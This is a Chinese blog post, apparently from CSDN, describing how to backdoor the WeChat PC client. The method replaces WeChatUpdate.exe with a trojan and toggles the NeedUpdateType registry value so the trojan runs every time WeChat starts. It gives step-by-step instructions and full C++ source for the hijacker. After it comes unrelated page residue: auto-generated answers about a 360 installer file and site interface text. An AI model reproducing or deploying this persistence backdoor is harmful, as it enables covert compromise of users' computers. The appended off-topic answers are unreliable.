劫持WeChatUpdate.exe作为后门

发现微信pc端在启动的时候,会检查注册表中的NeedUpdateType >= 100 就会先启动微信安装目录下的wechatupdate.exe

可以利用这个思路写个劫持微信更新程序的后门,具体思路如下:
1.释放木马到微信安装目录,覆盖WeChatUpdate.exe
2.写注册表修改NeedUpdateType=100
3.被攻击者下次启动微信时,检测到NeedUpdateType=100,就会先启动微信目录下的后门程序
4.后门程序启动后,先还原注册表NeedUpdateType=0,再启动微信主程序
5.微信主程序启动成功后,延迟5秒,再把NeedUpdateType=100,下次启动微信时,开始重复第三步

为什么要延迟5秒,因为WeChatUpdate.exe在启动wechat.exe后,wechat.exe会立马再次查询注册表,并启动WeChatUpdate.exe,导致死循环…

#include <iostream>
#include <windows.h>


VOID HijackingUpdate()
{
    HKEY hKey = NULL;
    DWORD lpData = 0;
    do
    {
        WinExec("calc", SW_SHOW);

        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Tencent\\WeChat", 0, 0xF003Fu, &hKey) || 
            RegSetValueExW(hKey, L"NeedUpdateType", 0, REG_DWORD, (const byte*)&lpData, sizeof(DWORD))||
            RegFlushKey(hKey)||
            RegCloseKey(hKey))
        {
            break;
        }

        // 2.启动微信主程序
        WinExec("WeChat.exe", SW_SHOW);

       
        // 3. 重新设置注册表NeedUpdateType <= 100, 这样下次启动微信时,先启动当前后门程序
        Sleep(5000);
        lpData = 100;
        if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Tencent\\WeChat", 0, 0xF003Fu, &hKey) ||
            RegSetValueExW(hKey, L"NeedUpdateType", 0, REG_DWORD, (const byte*)&lpData, sizeof(DWORD)) ||
            RegFlushKey(hKey) ||
            RegCloseKey(hKey))
        {
            break;
        }

    } while (0);

}

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
int main()
{
    HijackingUpdate();
}



  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
### 回答1: 360cse_12.0.1476.0.exe 是一个可执行文件,属于360安全中心软件的安装程序。 360安全中心是一款综合性的安全软件,具有杀毒、清理、优化、防护等多种功能。该软件可以实时监测系统的安全状态,防止恶意软件的入侵和病毒的传播,保护用户的电脑免受各种网络威胁。 360cse_12.0.1476.0.exe 是该软件的安装文件,用户可以运行该文件来安装360安全中心软件。安装过程通常简单明了,用户只需按照软件提供的指引一步步操作即可完成安装。安装完成后,用户可以根据自己的需求进行相应的设置和调整,以达到最佳的安全保护效果。 360安全中心的功能非常强大,可以提供全面的安全保护和优化服务。它可以扫描和清理系统中的垃圾文件和无效注册表项,以提高计算机的运行速度和性能。同时,它还提供了实时的病毒和木马扫描功能,可以及时发现和清除潜在的威胁。此外,软件还提供了浏览器的保护功能,防止网页劫持和恶意插件的安装。 总之,360cse_12.0.1476.0.exe 是360安全中心软件的安装文件,安装后可以提供全面的安全保护和优化服务,帮助用户保护电脑免受各种威胁,并提高系统的运行性能。 ### 回答2: 360cse_12.0.1476.0.exe是一种可执行文件,属于360安全卫士软件的一个升级补丁文件。该文件的大小通常约为几十兆兆字节,可以在360安全卫士的官方网站或官方软件更新中心下载到。 这个文件的主要作用是更新360安全卫士软件的版本,修复一些已知的漏洞和问题,并提供一些新的功能和特性。安装这个升级补丁文件可以帮助用户保持软件的最新版本,提高软件的安全性和稳定性。 在安装过程中,用户只需双击该文件,按照提示完成安装即可。安装完成后,360安全卫士软件会自动重启,并应用新的版本和更新内容。 值得注意的是,在下载和安装这个文件时,需要确保所使用的文件来源可信,以避免下载和安装恶意软件。建议使用官方网站或官方软件更新中心下载软件升级补丁,并定期更新软件以保持系统的安全性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值